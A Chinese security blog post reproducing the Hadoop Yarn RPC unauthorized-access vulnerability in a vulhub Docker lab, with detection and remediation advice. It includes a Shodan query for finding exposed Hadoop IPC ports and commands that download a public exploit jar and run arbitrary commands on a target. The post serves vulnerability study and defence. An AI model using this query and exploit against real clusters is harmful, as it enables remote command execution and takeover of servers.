Hadoop Yarn RPC未授权访问漏洞复现

Hadoop Yarn RPC未授权访问漏洞复现

漏洞简述

Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。

漏洞影响版本

Apache Hadoop 所有版本

Shodan 搜索语法

http.html:"HTTP request to a Hadoop IPC port"

漏洞环境搭建

由于该漏洞影响全版本,所以直接复用vulhub之前rest api未授权的环境搭建。

https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

需要修改docker-compose.yml,添加端口映射。

docker-compose up -d

curl请求8032端口。

[root@VM-0-15-centos unauthorized-yarn]# curl 127.0.0.1:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
[root@VM-0-15-centos unauthorized-yarn]# 

漏洞exp

https://github.com/cckuailong/YarnRpcRCE

漏洞复现

wget https://github.com/cckuailong/YarnRpcRCE/releases/download/0.0.1/YarnRpcUnauth.jar
# 创建文件
java -jar YarnRpcUnauth.jar ip:port "touch /tmp/success"

由于我们是通过docke-compose搭建的漏洞环境,这里有四个容器。执行命令的容器不一定是监听端口服务所在的容器。

docker ps | grep unauthorizedyarn | awk '{print $1}' | xargs -I % docker exec -i % ls -l /tmp

溯源排查

主要几个节点的日志位置。

  • ResourceManager log
  • NodeManager log
  • Container log

/var/log/hadoop-yarn

如果通过docker运行的hadoop可通过docker logs进行排查。

docker-compose logs| grep nodemanager.ContainerExecutor
hadoop启动后被入侵挖矿

但是未记录攻击者ip。

修复方式

  1. Apache Hadoop官方建议用户开启Kerberos认证。
  2. 利用iptables或者安全组,设置 Hadoop RPC服务所在端口仅对可信地址开放。
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论